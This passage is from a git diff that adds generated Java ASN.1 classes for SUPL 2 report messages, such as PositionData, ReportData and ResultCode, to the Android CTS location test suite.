+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSsignalsInfo
+ extends Asn1SequenceOf<GANSSSignalsDescription> {
+ //
+
+ private static final Asn1Tag TAG_GANSSsignalsInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSsignalsInfo() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSsignalsInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSsignalsInfo != null) {
+ return ImmutableList.of(TAG_GANSSsignalsInfo);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSsignalsInfo from encoded stream.
+ */
+ public static GANSSsignalsInfo fromPerUnaligned(byte[] encodedBytes) {
+ GANSSsignalsInfo result = new GANSSsignalsInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSsignalsInfo from encoded stream.
+ */
+ public static GANSSsignalsInfo fromPerAligned(byte[] encodedBytes) {
+ GANSSsignalsInfo result = new GANSSsignalsInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSSignalsDescription createAndAddValue() {
+ GANSSSignalsDescription value = new GANSSSignalsDescription();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSsignalsInfo = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSSignalsDescription value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/PositionData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/PositionData.java
new file mode 100755
index 0000000..16c0784
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/PositionData.java
@@ -0,0 +1,407 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.PosMethod;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ver2_ulp_components.GNSSPosTechnology;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PositionData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PositionData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PositionData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PositionData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PositionData != null) {
+ return ImmutableList.of(TAG_PositionData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PositionData from encoded stream.
+ */
+ public static PositionData fromPerUnaligned(byte[] encodedBytes) {
+ PositionData result = new PositionData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PositionData from encoded stream.
+ */
+ public static PositionData fromPerAligned(byte[] encodedBytes) {
+ PositionData result = new PositionData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Position position_;
+ public Position getPosition() {
+ return position_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Position
+ */
+ public void setPosition(Asn1Object value) {
+ this.position_ = (Position) value;
+ }
+ public Position setPositionToNewInstance() {
+ position_ = new Position();
+ return position_;
+ }
+
+ private PosMethod posMethod_;
+ public PosMethod getPosMethod() {
+ return posMethod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosMethod
+ */
+ public void setPosMethod(Asn1Object value) {
+ this.posMethod_ = (PosMethod) value;
+ }
+ public PosMethod setPosMethodToNewInstance() {
+ posMethod_ = new PosMethod();
+ return posMethod_;
+ }
+
+ private GNSSPosTechnology gnssPosTechnology_;
+ public GNSSPosTechnology getGnssPosTechnology() {
+ return gnssPosTechnology_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology
+ */
+ public void setGnssPosTechnology(Asn1Object value) {
+ this.gnssPosTechnology_ = (GNSSPosTechnology) value;
+ }
+ public GNSSPosTechnology setGnssPosTechnologyToNewInstance() {
+ gnssPosTechnology_ = new GNSSPosTechnology();
+ return gnssPosTechnology_;
+ }
+
+ private GANSSsignalsInfo ganssSignalsInfo_;
+ public GANSSsignalsInfo getGanssSignalsInfo() {
+ return ganssSignalsInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSsignalsInfo
+ */
+ public void setGanssSignalsInfo(Asn1Object value) {
+ this.ganssSignalsInfo_ = (GANSSsignalsInfo) value;
+ }
+ public GANSSsignalsInfo setGanssSignalsInfoToNewInstance() {
+ ganssSignalsInfo_ = new GANSSsignalsInfo();
+ return ganssSignalsInfo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosition() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosition();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Position.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "position : "
+ + getPosition().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosMethod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosMethod();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosMethodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosMethod.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posMethod : "
+ + getPosMethod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGnssPosTechnology() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGnssPosTechnology();
+ }
+
+ @Override public void setToNewInstance() {
+ setGnssPosTechnologyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gnssPosTechnology : "
+ + getGnssPosTechnology().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSignalsInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSignalsInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSignalsInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSsignalsInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSignalsInfo : "
+ + getGanssSignalsInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PositionData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportData.java
new file mode 100755
index 0000000..06bf001
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportData.java
@@ -0,0 +1,405 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.MultipleLocationIds;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReportData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReportData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReportData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReportData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReportData != null) {
+ return ImmutableList.of(TAG_ReportData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReportData from encoded stream.
+ */
+ public static ReportData fromPerUnaligned(byte[] encodedBytes) {
+ ReportData result = new ReportData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReportData from encoded stream.
+ */
+ public static ReportData fromPerAligned(byte[] encodedBytes) {
+ ReportData result = new ReportData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PositionData positionData_;
+ public PositionData getPositionData() {
+ return positionData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionData
+ */
+ public void setPositionData(Asn1Object value) {
+ this.positionData_ = (PositionData) value;
+ }
+ public PositionData setPositionDataToNewInstance() {
+ positionData_ = new PositionData();
+ return positionData_;
+ }
+
+ private MultipleLocationIds multipleLocationIds_;
+ public MultipleLocationIds getMultipleLocationIds() {
+ return multipleLocationIds_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultipleLocationIds
+ */
+ public void setMultipleLocationIds(Asn1Object value) {
+ this.multipleLocationIds_ = (MultipleLocationIds) value;
+ }
+ public MultipleLocationIds setMultipleLocationIdsToNewInstance() {
+ multipleLocationIds_ = new MultipleLocationIds();
+ return multipleLocationIds_;
+ }
+
+ private ResultCode resultCode_;
+ public ResultCode getResultCode() {
+ return resultCode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ResultCode
+ */
+ public void setResultCode(Asn1Object value) {
+ this.resultCode_ = (ResultCode) value;
+ }
+ public ResultCode setResultCodeToNewInstance() {
+ resultCode_ = new ResultCode();
+ return resultCode_;
+ }
+
+ private TimeStamp timestamp_;
+ public TimeStamp getTimestamp() {
+ return timestamp_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeStamp
+ */
+ public void setTimestamp(Asn1Object value) {
+ this.timestamp_ = (TimeStamp) value;
+ }
+ public TimeStamp setTimestampToNewInstance() {
+ timestamp_ = new TimeStamp();
+ return timestamp_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPositionData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPositionData();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "positionData : "
+ + getPositionData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultipleLocationIds() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultipleLocationIds();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultipleLocationIdsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultipleLocationIds.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multipleLocationIds : "
+ + getMultipleLocationIds().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getResultCode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getResultCode();
+ }
+
+ @Override public void setToNewInstance() {
+ setResultCodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ResultCode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "resultCode : "
+ + getResultCode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimestamp() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimestamp();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimestampToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeStamp.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timestamp : "
+ + getTimestamp().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReportData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportDataList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportDataList.java
new file mode 100755
index 0000000..0060bec
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportDataList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ReportDataList
+ extends Asn1SequenceOf<ReportData> {
+ //
+
+ private static final Asn1Tag TAG_ReportDataList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReportDataList() {
+ super();
+ setMinSize(1);
+setMaxSize(1024);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReportDataList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReportDataList != null) {
+ return ImmutableList.of(TAG_ReportDataList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReportDataList from encoded stream.
+ */
+ public static ReportDataList fromPerUnaligned(byte[] encodedBytes) {
+ ReportDataList result = new ReportDataList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReportDataList from encoded stream.
+ */
+ public static ReportDataList fromPerAligned(byte[] encodedBytes) {
+ ReportDataList result = new ReportDataList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public ReportData createAndAddValue() {
+ ReportData value = new ReportData();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReportDataList = [\n");
+ final String internalIndent = indent + " ";
+ for (ReportData value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ResultCode.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ResultCode.java
new file mode 100755
index 0000000..d1a102b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ResultCode.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ResultCode extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ outofradiocoverage(1),
+ noposition(2),
+ nomeasurement(3),
+ nopositionnomeasurement(4),
+ outofmemory(5),
+ outofmemoryintermediatereporting(6),
+ other(7),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_ResultCode
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ResultCode() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ResultCode;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ResultCode != null) {
+ return ImmutableList.of(TAG_ResultCode);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new ResultCode from encoded stream.
+ */
+ public static ResultCode fromPerUnaligned(byte[] encodedBytes) {
+ ResultCode result = new ResultCode();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ResultCode from encoded stream.
+ */
+ public static ResultCode fromPerAligned(byte[] encodedBytes) {
+ ResultCode result = new ResultCode();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ResultCode = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionInformation.java
new file mode 100755
index 0000000..caf0e5e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionInformation.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.SessionID;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
